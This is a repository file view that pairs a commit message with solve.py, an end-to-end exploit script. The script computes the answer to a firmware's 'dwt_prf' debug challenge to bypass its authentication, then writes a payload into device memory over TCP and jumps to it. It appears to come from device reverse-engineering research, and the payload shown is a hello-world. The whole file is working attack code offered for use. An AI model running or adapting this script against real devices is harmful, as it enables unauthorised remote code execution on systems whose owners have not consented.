Files
SDD 1e5c095b72 dwt: reverse the dwt_prf challenge; remote poke/jump now works
The firmware transforms the reply (16-round Feistel per 8-byte record) and
compares it with the host-order copy of the challenge, so the answer is
swap4(inverse_transform(swap4(challenge))).  The font stages are memcpy in
this path because dwt_prf initialises only mode 1.

challenge.py implements the transform and its inverse using the firmware's
fixed key/SP table; solve.py answers the challenge over TCP using the
unmodified exploit client.  320 forward vectors, the firmware's own inverse
and three live sessions validate it.  A live run with no breakpoints poked
the 82-byte hello-world payload and ran it: MAGIC DEAD/BEEF/0400, VRAM
1024/1024.  Notes and evidence under dwt/notes and dwt/evidence.
2026-10-18 02:36:23 +03:00

102 lines
3.8 KiB
Python

#!/usr/bin/env python3
"""End-to-end dwt_prf exploit over TCP: answer the challenge with computed
bytes (no debugger, no forced comparison), then poke and run a payload.
This wraps dwt/exploit.py's client; it does not modify it. The only change is
that ``answer_challenge`` computes the reply with dwt/challenge.py from the
challenge the terminal just sent, instead of echoing it.
python3 dwt/solve.py --host 192.168.99.2 \
--poke-file 0x01800000 --file harness/hello-world/payload.bin \
--jump 0x01800000
With no arguments it runs the liveness opcode and prints the challenge/reply.
"""
from __future__ import annotations
import argparse
import os
import sys
import time
HERE = os.path.dirname(os.path.abspath(__file__))
sys.path.insert(0, HERE)
import challenge # noqa: E402
import exploit # noqa: E402
# --- the whole bypass: compute the answer from the challenge ----------------
_orig_answer = exploit.RDebug.answer_challenge
def _answer(self, challenge_bytes: bytes) -> None:
self.challenge_raw = challenge.respond(challenge_bytes)
print(f"[+] challenge {challenge_bytes.hex(' ')}", flush=True)
print(f"[+] reply {self.challenge_raw.hex(' ')}", flush=True)
print(f"[+] reply satisfies firmware comparison: "
f"{challenge.check_reply(challenge_bytes, self.challenge_raw)}",
flush=True)
return _orig_answer(self, challenge_bytes)
exploit.RDebug.answer_challenge = _answer
def main(argv: list[str]) -> int:
ap = argparse.ArgumentParser(description=__doc__,
formatter_class=argparse.RawDescriptionHelpFormatter)
ap.add_argument("--host", default="192.168.99.2")
ap.add_argument("--port", type=int, default=771)
ap.add_argument("--timeout", type=float, default=8.0)
ap.add_argument("--verbose", action="store_true")
ap.add_argument("--liveness", type=int, default=7)
ap.add_argument("--poke-file", type=exploit.parse_int)
ap.add_argument("--file")
ap.add_argument("--poke-chunk", type=int, default=exploit.MAX_XFER)
ap.add_argument("--jump", type=exploit.parse_int)
ap.add_argument("--arg", type=exploit.parse_int, action="append", default=[])
ap.add_argument("--peek", type=exploit.parse_int)
ap.add_argument("--len", type=int, default=8)
ap.add_argument("--settle", type=float, default=2.0,
help="seconds to wait after jump so the payload can run")
a = ap.parse_args(argv[1:])
rd = exploit.RDebug(a.host, a.port, a.timeout, a.verbose)
try:
rd.connect()
flag, payload = rd.liveness(a.liveness)
print(f"opcode {a.liveness} -> flag={flag:#04x} payload={payload.hex(' ')}"
f" ({payload!r})")
if rd.challenge_raw is None:
print("error: no challenge was seen", file=sys.stderr)
return 2
if a.peek is not None:
print(f"peek {a.peek:#010x} ({a.len}) -> "
f"{rd.peek(a.peek, a.len).hex(' ')}")
if a.poke_file is not None:
if not a.file:
print("error: --poke-file needs --file", file=sys.stderr)
return 2
data = open(a.file, "rb").read()
off = 0
while off < len(data):
chunk = data[off:off + a.poke_chunk]
rd.poke(a.poke_file + off * 8, chunk)
off += len(chunk)
print(f"poke-file {a.file}: {len(data)} bytes at "
f"{a.poke_file:#010x}: ok")
if a.jump is not None:
rd.jump(a.jump, a.arg, wait=False)
print(f"jump {a.jump:#010x}: sent")
time.sleep(a.settle)
return 0
except (OSError, exploit.ProtocolError, ValueError) as exc:
print(f"error: {exc}", file=sys.stderr)
return 2
finally:
rd.close()
if __name__ == "__main__":
raise SystemExit(main(sys.argv))